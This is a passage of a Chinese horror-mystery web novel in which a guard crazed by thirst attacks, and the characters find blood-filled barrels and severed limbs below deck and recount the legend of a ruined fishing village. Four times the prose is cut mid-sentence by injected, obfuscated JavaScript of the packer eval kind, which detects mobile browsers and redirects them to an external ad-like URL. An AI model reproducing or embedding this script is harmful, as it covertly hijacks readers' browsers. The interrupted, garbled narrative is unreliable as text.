她用手肘狠顶着他的前颈,借此来尽力拉开点距离。接着,她看见他缓缓张开嘴,干裂的嘴角被扯得更大,沾满血污的脸凸显着那两排白色的牙齿,它们正一张一合: “水……水……” 他继续下压,全然不顾一点点绞进血肉的匕首。他盯着她的脖颈,又或是脸颊,仿佛那是装着甘泉的水囊。萧明灿能听到那排牙齿相撞时发出“咔哒咔哒”的声音,它们就像突然有了生命,开始逐渐逼近,逐渐与心跳重合。萧明灿试图把他掀开,但身上的刺痛让她很难使上力气。 咚。咚。咚。咚—— 萧明灿咬了咬牙,偏过头,另一手伸向远处的断刀。她几乎在转眸的瞬间就看到了那个躺在床上的官员。 在这艘鲜血四溅的船上,尸体多到几乎已经成了和那些桌椅别无二致的“寻常”陈设,又或是多看一眼就会让人心生骇然的恐怖东西。萧明灿尽量不让自己过多去看他们的死状,但他却足够引人注意。也许是因为屋子里唯一的蜡烛正好就立在床边。 他看起来就像是浸在了血里。 他正用那双充血的瞳孔盯着她。他的眼角曾淌下过数道血流,泪滴般滑过脸颊,滴进耳中,或落到枕上,在风干后留下一道道淡色的痕迹。就仿佛是在徒劳地提醒她什么。而他的身躯已经因伤口而肿胀起来,那些覆盖在他脖子和脸上的鲜血早已凝固,大大小小的血痂就如同水蛭般贴在伤口附近。 如果仔细看的话,就会发现,那是一道又一道血肉模糊的咬伤,皮肉粘连着血骨,微微翻起。他并没有被啃食。似乎那人只想咬穿他的皮肤,喝干他的血。肉对“他”而言无异于水中无法下咽的石子。 而如果再离得近一点的话,就能从他暗淡的瞳孔里看见远处那道模糊的人影。他正缓缓举起火铳,瞄准,搭上扳扣,悠闲到看起来就像是在森林里狩猎马鹿—— 萧明灿握住刀柄。眼前的怪物又逼近了几分。他用手掐向她的喉咙—— 咚。咚—— 砰! 血肉飞溅。萧明灿及时闭上眼睛,耳边嗡嗡作响,紧接着是熟悉又狂乱的心跳声,咚。咚—— 不,那是火铳的声音。 四周火铳接连响起,回荡在船舱的墙壁之间,几乎盖过了心跳。但很快声音就消失了,船上又归于寂静,就像一座被雾气缠绕的坟墓。没有任何怪物在尖叫。 海浪仍在拍打着船体。 萧明灿一把掀开那个被砸烂半张脸的侍卫。檀妄生稍稍俯身,朝她伸出手,满怀歉意地说:“我很抱歉。没能及时解决他。” 萧明灿没有动,就这么躺在地上,轻轻呼出一口气,“将军体会到的也是这种吗?当死亡逼近时的感觉。” 檀妄生稍微挑眉,撑着火铳蹲下来。他的目光凝在那滴血珠上,昏光下,它正缓缓沿着她的下颌流淌,滑过苍白的脖颈、跳动的脉搏,最终没入衣领深处,留下一道鲜艳的血迹。这让他想起了他颈前那道伤疤。 “你会觉得一切都不再重要。”萧明灿望着屋顶,声音轻得更像是在自言自语,“耐心,理智,尊严,又或是一生都在坚守的某种底线。这些在惨烈的死亡面前都会瓦解,一切都会变得不一样,你会开始拼尽一切,努力活下来。” 檀妄生笑了笑,没有正面回答,“这就是国师刚刚感受到的吗?” 一阵冷风扫过,房门砰地合上,挡住了外面的脚步声。 “能感悟出这些的一般有两种人。”檀妄生用火铳托把撑地,握着前膛,说:“第一种,亲身经历过濒死的。第二种,以旁观者的角度亲眼看着旁人经历濒死的。” 萧明灿目光转到檀妄生身上,“我猜,将军接下来应该想问,我到底是哪种。” “这是个显而易见的答案。”檀妄生亲切地道:“说实话,其实我很难能想象到那个场景,国师会在死亡逼近时恐惧到丢弃理智、尊严,甚至是良知?毕竟,国师可是个会在狂风骤浪的情况下,毫不犹豫地选择跳下悬崖的人。恐惧和国师……” 他似乎真那么想了想,然后摇了摇头,“实在是不沾边。” “但依旧值得期待。”萧明灿说。 檀妄生微笑道:“就像是期待我的下一个生辰礼物那样。” “……生辰礼物?”萧明灿稍稍抬起手,看着掌心被血染红的纱布,说:“在这种随时都有可能丧命的地方,这听起来更像是奢望。” 檀妄生真诚道:“正是因为风险足够大,才更令人着迷。” 萧明灿看着他,就这么对视了片刻,最后轻笑了笑,说:“……镇北王果然眼识过人,将军的确是天生适合战场的奇才。” 檀妄生说:“我猜,国师这句话的意思应该是:‘这个罪臣还真是个喜欢低级趣味的人,简直就和野兽一个口味。’” “将军多想了。”萧明灿温和地说,而后撑地起身,抽出刺进那人胸口的匕首。 “所以……” 檀妄生偏过头,看了眼那个倒地的侍卫,好奇地问:“国师在他身上发现了什么?” “他想要喝水。” “什么?” 萧明灿朝床上的尸体示意。 檀妄生转头。 “他刚刚一直在说‘水’。”萧明灿看向桌子,“杯子并不在托盘里,而是散乱地放在桌面上,就像是有人焦急地在找哪个杯子里有水一样。茶壶也已‘不知所踪’。而床上那个人身上咬伤遍布,有一些伤口极深,甚至……” “甚至连皮肉都被翻开了一小块。”檀妄生站起身,走向床边那人,瞧着他额头那道粘着血痂的牙印,“但他没有‘吃掉’那人……对人肉抗拒,却想用鲜血止渴。看来他还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092897|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 他回过头,恰巧看到萧明灿抬指蹭掉了侧颈那道血痕,也许是有些痒的缘故。痕迹的确淡了不少,他想。昏暗的光线下,那看起来像是个吻痕。 “幻觉阶段。”他无事发生地接上话。 “将军说过,幻觉里出现的幻象几乎都是些让人神智崩溃的东西。比如那个一直盯着人看的小女孩,又或是一次次在脑海里上演远在皇城的家人惨死的画面。”萧明灿看着血泊里的人,“但是,这个人的幻象里并没有任何的可怕之处,看起来,他仅仅只是把血当成了赖以解渴的水源。” “水源?”檀妄生看了眼床上的血人,“还真是稀奇。我曾见过一个因为太过害怕虫子,以至于幻觉里都是密密麻麻的虫子在追着他,后来为了‘逃命’,自己跑到山上不小心摔断了腿,被出没的怪物活活吓死的。但没想到还有人是因为水,所以才会……” 他说着,又看了看桌上的茶壶,忽然想到了什么。 “还记得我们刚刚说过的那个意外‘事故’吗?”萧明灿说:“我一直在想,究竟是什么事故,能棘手到需要召集大量侍卫去解决,却意识不到要引燃烟火传讯,这几乎矛盾到令人匪夷所思。” 檀妄生说:“但如果和‘水’有关的话,一切就都合理了。” “这里距离最近的岸口有三千多里,附近又天气多变,所以哪怕加快速度,至少也需要五天时间。如今岛上情势不明,那些巡防官员没有宫里的下令,也不敢轻易靠近这里。所以,”萧明灿蹭掉嘴角的血,“这意味着,一旦干粮和水出现问题,所有人都回不了皇城。” “这的确是个难搞的麻烦。”檀妄生深感同情地点了点头,接着又想到了一点,说:“不过,就算舱下的水粮因某些原因不幸全毁,他们一时半会应该也饿不死,这期间应该足够让他们冷静下来去想办法了。况且,五日期限还没到,兴许国师白日就会回来主持大局。就算他们水粮全断,应该也不至于绝望到疯掉。” “所以,储水只是为了引侍卫们过去的由头而已。”萧明灿拉开房门,“让他们崩溃的真正原因,应该是在舱下发生的事。” 海风顺着门缝涌进屋中,床边蜡烛摇摇欲熄。檀妄生扛着火铳,最后看了眼屋内,那个侍卫就趴在血泊里,双手向前扒着地面,阴影已经攀上了他的脚踝,让他看上去就像是在挣扎着摆脱什么难以名状的鬼东西。 “国师——” 檀妄生回头,看见远处的言生跑了过来,紧握着佩刀,刀尖淌血。她看着国师脸上的血,“国师怎么——” “没事,血不是我的。”萧明灿看了眼她身后那几具横尸,“发生了什么?” 言生神色凝重。 “国师得来看看这个。” 她带着两人一路往前走,穿过船舱,走上甲板,最终停在一个舱盖面前,那个大块头的随从正蹲在旁边。她说:“这里从里面被封死了,刀剑砍不开,火铳打不烂。他们在底下用木桶顶住了舱门。我们每一次砍,都能听见流水声。” 萧明灿蹲下身,抬手摸了摸破洞的舱盖。她瞥了眼溅在袖袍上的大片血污。明明她在外面,可房间里那股腥锈味却始终挥之不散。 “血。” 那个大块头随从道,“这些水桶里装的全都是血。” 41. 血桶 舱口距地面近一层楼高,若想顶住上面的舱盖,至少需要五个木桶。 不过,考虑到海浪颠簸,舱口位置并不算狭窄闭塞,再加上他们也在试图用刀剑撬动舱盖,这些木桶很有可能会因重心不稳而滚落下来。 但事实上,无论他们如何撞击舱盖,它们始终纹丝未动。 这是个令人紧张的消息。尤其是当他们每一次抽剑,都会看到鲜血顺着剑刃流淌的时候。这种感觉就像在用刀不停地搅动一堆尸体,直到他们变成不再挡路的肉泥为止。 简直糟透了。 而糟糕的远不止这些。不知何时,海雾比刚刚又大了些,远处的船只剩下半个模糊的轮廓。船灯穿不透那些海雾,只能照着甲板上几个满身鲜血的横尸。四周安静到只有翻涌的海浪声。每个人都无比清晰地感觉到,这种恶心的反胃感正逐渐演变成另一种更加令人不安的—— 但,即便很棘手,也并不是完全没有解决之法。 他们花了半个时辰来拆毁舱盖——确切来说,是在不破坏船体结构的前提下用火铳生生把舱盖打穿了个洞,勉强能容纳一人穿行。当檀妄生卸掉那个破烂的舱盖时,才发现,下面堆积的木桶甚至远不止十五个。 “三十五桶。”言生沉声说,“船上一共放置了三十五桶水,其中装满水的有二十桶。外加十五箱备用冰块。” 他们无法透过破损的舱口去看清具体有多少个木桶挡在这里。舱下一片黑暗,有限的视线下,只能看到一个木盖挨着另一个木盖。所以,他们又面临了另一个麻烦——怎么才能挪走这些堆在一起的木桶? 萧明灿想到了个办法,让他们用火铳打穿木桶,放空里面的血水,随后找来烧炭用的铁钩,把木桶一个个提上来。这的确是个好方法,大约一刻钟后,他们已经提出了三个木桶。 而当第四个木桶从舱口提出的瞬间,一股浓稠到令人作呕的血腥味也随之涌出,像是扑面而来的沙尘,其中夹杂着一丝发闷的潮气。几人厌恶地后退了半步,目光凝向舱下隐约露出的一小片墙壁。 那上面溅满了血——来自桶上那些被打穿的破洞。血珠在一片死寂中缓缓下淌,滑出数道血线,最终在地面汇聚,又随着船体的颠簸向四周蔓延,像是即将被抽干的水池—— “更像是肠道。”檀妄生说。 而萧明灿觉得,他们刚刚打开了一扇通往地狱的门。 而那弥漫出来的血腥味、满墙狰狞的血迹,甚至是摞成墙高的木桶,似乎都在警告他们——不要靠近。 很快,最后一个木桶被提出舱口,血水顺着桶身的破口淅淅沥沥往下流,就像被一刀割开的肚子—— 不要靠近。 最先下去的随从名叫周从友。 他在一众手握火铳的部下里尤为显眼。因为既没他们高挑,也没他们壮实,甚至称得上是瘦小。但这并不是弱点。正因如此,他行动起来反而比旁人更加敏捷——当他跳下近一层楼高的舱口时,萧明灿几乎没听到什么落地声。哪怕那地上还积着一大摊血。 周从友试着朝周围的“桶墙”踹了一脚。没踹动。他抬头看向舱口,接着领意点点头,抽刀依次捅进眼前五个水桶,放空里面的血水,提出舱口,清出一条路来。 这段时间过得无比漫长。 八个人围在舱口边,谁也没有说话。似乎这地方附着着一种微妙的魔法,隔绝了咆哮着拍击船体的海浪,让他们只能听到鲜血从破口里流出的水声。哗啦啦的,异常清晰。 随着提出舱口的木桶越来越多,那股血腥味也越发浓重,像是想要顺着他们的口鼻钻入,渗进脑海,然后告诉他们—— 不要靠近。 如果那些怪物真的把每个水桶都换成了血的话,那么到底要杀多少人才能装满这些过膝高的木桶? 它们是怎么做到的? 这艘船上还有活人吗? 为何一点动静也没有? 舱底下到底发生了什么? 舱底下一片昏黑。 周从友已经走出了舱口能看见的范围,但似乎仍没有找到一条适合深入的路。暗淡的光照着地面那片血泊。他们蹲在舱口边,只能听见刀锋劈进木桶时发出的裂响。这声音他们已经听了二十一次。 但这次却没有水流声传来。 “……这是个好消息,对吧?”过了一会儿,有人问道。 的确算是个好消息。水流声消失意味着并非所有木桶都装满了血,也许是因为血不够了,毕竟不是每具尸体都会像死掉的鸡一样等着被割喉放血。也许他们在死前就已经被开膛破肚……不,往好处想一想,说不定真的有人躲过了那群怪物的猎杀,此刻正藏在某个更深的舱室里,让它们没法再拿他们的命去酿那该死的血浆酒。 这真是个令人振奋的消息。 但依旧没有人说话。 因为木桶被劈裂的声响仍未停止。 第二十四次。 “……按理来说,如果外侧的桶都是空的,就说明这些怪物搞出的‘拦路石’已经快用完了,他应该很快就能破开一条路。”其中一个随从低声道:“但他怎么还不出来?” “出于警惕吧。”另一人摸着佩刀,“毕竟那下面很有可能藏着怪物,既然它们都能搞出这种东西来挡我们,在最外面弄出点什么陷阱也不算什么难事。谨慎一点总没错。” 另一人点了点头,接着张张口,似乎想再问些什么,但看了眼几人的脸色,还是憋回了心里。 第三十次。 “听到什么了吗?” 大概是离得太远的缘故,水桶清脆的裂响逐渐变得有些发闷。 第三十二次。 这种闷响越来越紧凑,他们能从这声音中感受到某种情绪——对眼前的一切感到难以置信,又或是在急着寻找什么。 “或许有什么新发现吧。”有人尽量乐观地说。 木桶被打翻的声音传来。一次,两次——然后,一个空木桶滚了过来。 苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101007|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的光柱里,鲜血正缓缓从桶里流出。 这次没有人再说话。所有人的目光都胶着在那个狭窄的舱口里,迫切地等待着什么。不知是不是错觉,萧明灿感觉血腥味似乎比刚刚更浓了些,就像某种油脂一般黏稠地包裹着周身。 脚步声传来。 所有人相互看了眼,不约而同按住了佩刀和火铳。 “……是我。”周从友疲惫地开口。 他走向舱口,左手提着水桶,右手握着那把弯刀,抬起头,脸上蹭着污血。 “我找到路了。它们用木桶把舱口围了起来,我没细数,但应该是用上了所有木桶。最边缘还有几个木箱,大概是为了稳住这些摞在一起的水桶。想要挪开不算什么难事。” 他虽这么说,但神色依旧沉重。他停顿了那么一下,似乎是想给所有人消化这些话的时间。 “……你手里拿的是什么?” “这就是接下来我要说的。”周从友放下木桶,桶身完好无损,木盖上印着血手印。一些腥臭的血沿着开口的缝隙溢出,淌出几道发黑的血线,“在下来之前,有些东西你们必须得看看。但你们要做好心理准备……这里面的东西,看了恐怕得记一辈子。” 说完,他看向檀妄生,征求意见:“老大。” 檀妄生却看向了萧明灿,问:“国师呢?国师打算怎么做?” 萧明灿看着那木桶,一时没有说话。 “这艘船上死的人远比我们想象中的多,发生的怪事也是前所未料。”檀妄生转头看了眼那些倒在房门边的尸体,“出了这么大的变故,这些侍卫却连向国师传讯的机会都没有,可见事情有多么棘手。如果底下真有怪物的话,我们一旦下去,就会有丧命的危险。” 萧明灿说:“将军的意思是……想要烧船?” “那样事情会变得简单很多。”檀妄生道:“国师不会有丧命的危险,那些喜欢搞鬼的怪物会葬身在一场大火里,然后和这艘船一起沉入海底。而国师只是损失了两艘船,以及一些投靠太傅的官员。” “还有时间。” 萧明灿没有移开目光,“回到岛中心虽然安全,但却很难再找到关于对付那些怪物的线索。皇城那边等不了我们天天漫无目的地去寻找巢穴、尽量不留痕迹地在暗处观察那些怪物。这对我们来说是个机会。更何况,” 她抬起目光,看向檀妄生,“这艘船上近百人,不可能全部都出事了。也许还有生还的人。” 檀妄生理解地点了点头,“浪越大鱼越贵……反正房中藏尸我们都见识过了,情况还能有多糟呢?” 周从友明白意思。他把木桶往前推了推,尽量让每个人都能看清里面的东西。 然后,他掀开了盖子。 几乎是在盖子落地的一瞬间,檀妄生猛然挡住了萧明灿的眼睛。 一片死寂。 海风呼啸着吹过甲板。 过了片刻后,一个人忽然捂住嘴,往后退了数步,转身吐了。 42. 启示 二十多年前,当萧明灿还是个孩子时,曾跟师父在一座小镇的窄巷里碰到过一具无名尸。 当时天还未亮,家家户户都在屋中休息,街上空无一人,只有几个无家可归的乞丐站在巷子里。黎明前的风总有种湿冷气。萧明灿还记得,那尸体就在巷子的尽头。 尸体的特征几乎没法一眼辨认,胖瘦,高矮,甚至就连是男是女都无法明确断定。当然,这和天色无关,而是能够辨别身份的重要部位都缺失了。 那里只有四肢。它们被齐根切断,画轴似的插|进一个过膝高的桶里,静静地摆放在这七八个人面前。萧明灿当时就站在师父身后,隔着人群,她只来得及看见一个轮廓,就被师父的宽袖给挡住了。 但那轮廓始终回荡在眼前。 就像树。 她当时想。这就像是阴影里一棵茁壮成长的小树。 就如同树干里散出的木香,她也能闻到从窄巷尽头飘散而来的气味,阴冷潮湿,血腥里夹杂着脂肪生冷的酸味,还有雨后泥洼里的气味。 死亡的气味。 就如同此时此刻。 海风,发闷的浓血,血肉长时间堆积后散出的一缕酸腐味,以及—— 几不可闻的皂角香。 萧明灿轻轻呼出一口气,做好了心理准备,握住挡上眼睛的手,缓缓下挪,看向桶里的东西。 她从未看清过当年那具无名尸的全貌。 师父在挡住她的眼睛后就把她调转了个方向,让她先行回了客栈。而不出意料,这件事很快就在芝麻大的镇子里传开了。 大家都在谈论那具无名尸,但传言无论如何流转,也都只是停留在那尸体可怖的模样。因为这案子迟迟没有进展——就和尸体本身一样怪诞,他们无法确认死者的身份,也摸不清追查犯人的头绪。 后来,这“窄巷桶尸”很快变成了一桩悬案。一段时间后,传到邻县里,被一个四处云游的戏班以此为灵感,编纂成了一出在周边几国里小有名气的《桶尸谜案》。 萧明灿不知道这案子最后结果如何,她和师父没过几日就离开了那里。记忆里那道轮廓也随着年岁增长变得模糊起来,但却从来都没有消失。 倒也不是因为在年幼时的夜里见到了具死相离奇的尸体,而是那窄巷里并非只有一具无名尸。桶里的手脚分别来自四个人。 断肢的切口处并不平整,边缘还有数道深浅不一的刀痕,当时从县里请来的仵作说,这是死者在剧烈挣扎时造成的伤口。而这就说明,在惨剧发生时,他们都还活着。 年幼的萧明灿很难能想象到那个场景。或者说,她本应该和其他同龄人一样,逃避这个可怕的事,把它抛之脑后,藏在记忆里某个落灰的小角落,让它在十天或数个月之后悄悄地从记忆里消失。但某种奇怪的探究心——或是好奇心在作祟,让她在随师父回城的路上一直想着这件事。 他们在某个平常又宁静的日子被绑走,毫无征兆,没有原因。他们本以为凶手是为了钱财,因此在恐惧中度过了几日,又或者,他们连思考如何脱身的时间都没有,就被绑在了床上,或粗糙的木板上。 鲜血伴着惨叫声喷向半空。那是坠入地狱般的时刻。他们惊恐地看着那尚带余温的残肢,它曾是身体的一部分,如今却成了毫无作用的死物,血腥,僵硬,沾满了恐惧的味道,令人肠胃翻涌。就像眼前装满血肉的木桶一样。 一阵长时间的沉默后,萧明灿问:“……有多少桶?” “七桶。”周从友说,“其中三桶都是断肢。分不清具体有多少人,但从衣料来看,大部分应该都是船上的侍从。” 旁边一随从摆了摆手散味,嫌恶道:“我这辈子都不会再吃腌菜了。” 萧明灿的目光则始终凝向那桶鲜红的肉块,似乎在思索着什么,微微眯着眼睛,一言不发。檀妄生就这么安静地等着。久到他开始有些怀疑国师是不是因为眼睛不太好,导致看不清那桶里到底都是些什么东西时,才听国师轻声问: “将军觉得它们为什么会这么做?” “一种制造恐惧的手段?”檀妄生单膝跪在她身边,任由她握着自己的手指。他瞥了眼桶里的东西,说:“又或许是一种报复?因为我们差点杀了它们珍贵的孩子?还把它们的同伴当成稻草人一样打得支离破碎?” “……报复?”萧明灿目光未挪,似乎也没想着要松开那搭在膝上的手,所有注意力都集中在了舱下。她停顿了一下,觉得有些疑惑,“它们以前也做过这种类似的事吗?” “国师是想说,这种报复的心理对于它们来说未免有些太复杂了吗?”檀妄生道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114395|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然以前没有发生过这么……惨绝人寰的事情。但是,这不代表它们没有那种报复的想法。” 萧明灿认真听着。 “如果把它们当作人的话,以它们那点遇到些什么事就先仰天乱叫的脑子,的确不太可能产生对我们报复的心理。但如果把它们想象成野兽的话,那可就截然不同了。” 檀妄生说,“如果把它们当成鬣狗,那么对于它们而言,我们就是狮子。鬣狗拥有族群意识,而那些怪物也团结得就像天生怪异的连体婴儿一样。不光如此,它们还会像鬣狗一样占据领地、洞穴,甚至是狩猎。以及,把我们当成天敌。” 萧明灿终于转动目光,看向檀妄生,“所以,这种报复心理是攻击性强的族群里特有的本能。” 檀妄生耸耸肩,“也许是这样。毕竟它们简直就是这世上最邪恶的东西,如果真的有神仙的话,那它们一定是神仙用来毁灭世间的武器。”他一本正经地乱说,而后又转回正题,“不过,国师怎么突然纠结起这个了?” 萧明灿转头看了眼身后,说:“……我在想,如果那些房间里的官员是被怪物刻意布置成那样的话。那么舱下这些血桶,是不是也会和那座渔村曾经发生的事有关?” 旁边的言生感到难以置信,“国师是说,五年前的渔村里也曾发生过这种惨剧?” “它们不会无缘无故在房中做那些事。那尸体的姿势虽然诡异,”萧明灿朝血桶偏头示意,“但和它们做的这些相比,远远谈不上会让人感到恐惧,顶多算是毛骨悚然。所以,既然它们没有第一时间把这血桶放进舱门,给我们一个惊吓,而是把官员摆放成了那种姿势……” 她看向周围的几人,缓缓道:“比起制造恐惧,又或是恐吓一样的报复,这更像是想向我们展示什么。” ……展示什么? 又或者说,它们想要传达什么? 它们真的是他们认为的那种低等邪恶的怪物吗? 一片沉默。 众人不约而同地看向舱下。木桶流出的血正顺着舱口边缘啪嗒啪嗒往下掉。 萧明灿才反应过来什么,后知后觉松开手,却被檀妄生一把反握住。他看着她,明明没有笑,眼底却始终带着那种吊儿郎当的笑意。 “看来,我们要去体验一下渔村生活了。” 43. 金海村 这座岛上的渔村名叫金海村。 虽然半年也遇不上一个外来人登岛,但村民们还是把“金海村”三个字非常大气地刻在了石头上。那村石牌就立在村口的路边,银色的字凿刻在灰黑的石面上,瞧着古朴又坚实。 而如今,那原本记录着一村存在的象征早已弹坑遍布,杂草和藤蔓缠在一起,包裹着整个底部。不知这里曾发生过什么,导致巨石被生生砸塌了一部分,从几块堆在旁边的碎石里能勉强拼出半个“全”字。一道暗沉的血印从断裂面蜿蜒流下,让“海”字看起来像是个“悔”。 就如同那块荒凉残破的村石牌一样,金海村也从一片祥和的世外桃源,在短短一个月内变成了人人避之不及的鬼村。但就和话本里讲述的“死后有灵”那样,金海村虽然已经破败荒废,可关于村子里的故事却流传了一段不长不短的时间。 虽然是“以某种程度上”的那种流传。 金海村出事之后,附近的村县里流传着关于这个鬼村的各种传言,不过到底是没怎么登过岛的外乡人,传言再怎么五花八门,也都离不开“怨鬼索命”、“百户离岛”、“尸体焚烧整整三天三夜”、“瘟疫”这几个字眼。 大家的确都爱听恐怖又让人匪夷所思的新奇故事,可听多了千篇一律的瘟疫灾祸,渐渐就不怎么对此上心了,而且本就是不明疫病,说多了难免晦气,万一给自己镇子沾染上了什么,那不就成了人人唾骂的“千古罪人”了? 于是,就像也印证着话本里那种“灵魂渐散”的描述一样,数年后,这个村子就像岛上的村石牌一样,除了一两个邻县之外,没有人还记得它叫什么。路过这里听到传闻的游者也懒得再多费心思探究,只知道这周边的岛上有个因瘟疫而荒废的渔村。 但导致金海村覆灭真的是因为“不明疫病”吗? 也许是这样。但如果论“导致这种惨祸发生的关键”的话,答案可就不一样了。 因为真正的关键在于—— “外来者。” 檀妄生用火铳挑开挡路的破木桶,说道:“如果当初渔民们没遇到那几个外来者的话——或者说,如果当时他们没有在那一天出海的话,这座村子或许就不会染上‘瘟疫’。” 他们刚刚跳下舱口。就像瘟疫里总是带着一股死亡的腐烂气息,这里也充斥着浑浊的血腥味。到处都是堆叠到甲板高的血桶,每踏出一步,脚下就会发出湿哒哒的黏响,像是含着雨的靴子。 萧明灿在影将军被流放前就已大致了解过这个渔村的一些事,那是当时众说纷杂的传闻里被传得最少的一个说法。言生有些不确定道:“……外乡人带来了瘟疫?” 檀妄生端着火铳,半开玩笑地说:“比起那些说金海村所有村民把邪神当海神信奉,导致被邪神反噬,全村覆灭的传言要可信得多了,不是吗?” 这个传言是基于荒村里数座关于大鱼的石象而诞生的。 萧明灿之前见过几座。这些鱼像的确被雕刻得极其生动,甚至就连鱼鳞边缘也凿刻得平滑分明。即便是一些小镇后山祠堂里供奉的泥塑,都未必有这般细致。而更出乎意料的是,哪怕村子荒废已久,影将军和那些怪物在这里厮杀过数十次,它们也奇迹般地完整保留到了今日。 全村人之所以耗费大量钱财找人雕刻这些石象,除了期望自己每次出海都能满载而归之外,还因为一则“救命”故事。 “那只是一个故事。”萧明灿说。 “一个荒唐又老套的故事。” 檀妄生不急不缓地讲述道,“因为这几个月捕到的鱼少得可怜,又逢年关将至,那几个村民便暗自拿了主意,准备去更北面的海里搏一搏。北面海域凶险复杂,天气诡谲多变,常常在晴日里下雾,白日里突然下雨,暗流漩涡更是平常事。对于渔人来说,那里是公认的海上禁地。” 舱口附近被血桶围得狭窄又曲折,他们只能一个接一个在窄道里穿行,这感觉就仿佛身处在一个黏稠的迷宫之中,只不过这迷宫看起来更像是专门为老鼠打造的。而它存在的价值就是让人看着老鼠在里面慌不择路地团团转。 檀妄生对此倒有种随遇而安的平和,闲情逸致地继续讲述着这个故事:“直到他们当中有人见过一个断臂的捕鱼人。他曾亲自带领三艘渔船组成的船队去了那里五次,而且每次都平安往返,除了失去一条胳膊以外。不过代价是值得的,他赚的钵满瓢满,甚至还在城里置办了处大宅。他说,那里的鱼多到让人以为自己到了仙境。” 萧明灿知道一些前因后果,但没那么细致,“结果不出所料,他们遇到了危险。” “好在不是风暴。”檀妄生说,“他们在当日就遇上了海雾,雾气在短短半个时辰内就笼罩了整艘船,他们只能先找个合适的位置放锚停泊,但当第二日雾散之时,他们绝望地发现,渔船偏离了航路,罗盘也失灵了。” 就仿佛在重演当年那幅景象一样,他们步履缓慢地走过一堆血桶。这些血桶的摆放就像刻意设计过似的,一摞空水桶总是夹杂在了一堆装满血的木桶中间,结果导致周从友一路打空之后,发现每走数步就需要拐个弯,偏偏又是个死角。每个人都知道,怪物最喜欢埋伏。 他们有些如履薄冰。 萧明灿跨过眼前的血泊,“传言里说,他们当时还剩下十天的干粮和水,然而过了九天,他们依旧没能找到回去的路,甚至还漂到了一座无人岛上。绝望之际,正巧碰到了鱼群。” 准确来说,是正巧碰到了在迁徙的海豚鱼。那个时候,他们已经和一脚迈进鬼门关没什么区别了。渔船上的水粮马上耗尽,他们又不知自己漂到了哪里,绝望之下便想着瞎猫碰上死耗子,跟着海豚鱼走。毕竟,再糟糕又能糟糕到哪儿去呢? 他们就这么聚精会神地跟了一天一夜,又随着感觉走了三天三夜,终于发现自己到了北面海域的边缘。罗盘也时好时坏,但好在让他们回到了正常的航路上。那简直就是奇迹。 “他们在脱险后又碰上了早已跟丢的海豚鱼。”萧明灿说,“他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122795|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得是鱼群救了自己,把这件事回去跟大家详细说了一番。当时的村长是个德高望重又心地善良的老人,他听了之后,便想着以后万不能再让人去北面捕鱼了,既然见不到,索性就在村里修建个什么当纪念,让后人铭记这段惊险而充满奇迹的往事。” 檀妄生继续往前走,“后来,那几个村民不仅向村里人讲了这些经历,还在出岛卖鱼时和其他人聊起了此事。以至数十年后,金海村因疫病而废弃时,邻县几个还在世的知情老人,都认为是他们因那经历而开始供奉起了深海邪神,才遭此灾祸。” “……毕竟北面那片海凶险万分,进去的人远比出来的人多得多,”言生用刀柄敲了敲周围的桶,从缝隙里看着下一个拐角,“那些村民世代以海为生,自然会信一些海神传说,正巧荒村疫病又来得突然蹊跷,那些村民能这么想,再正常不过。” “有意思的就在于此。”檀妄生笑了起来,“但凡他们知道事情的真相,就不会再传出这种传闻。” 萧明灿收回目光,看向檀妄生。前面的言生替她问:“……为什么?” 檀妄生说:“他们在回到正常航路时,已经是水粮耗尽的第四天了,那个独臂渔人所说的鱼群距离他们目前的位置至少有半日的航城。他们担心又遇到什么危险,不敢再调头往深处走。这里距离金海村也有三天的航程,而他们当时连掌舵的力气都没有了。” 言生谨慎开口:“所以……” 檀妄生缓缓道:“所以,他们用尽最后那点力气把指引他们的海豚鱼捞了上来,血作为水,肉作为粮,撑着那么一口气回到了村里。” 几人已经走出了血桶堆,前面又隔着几个挡路的木箱。 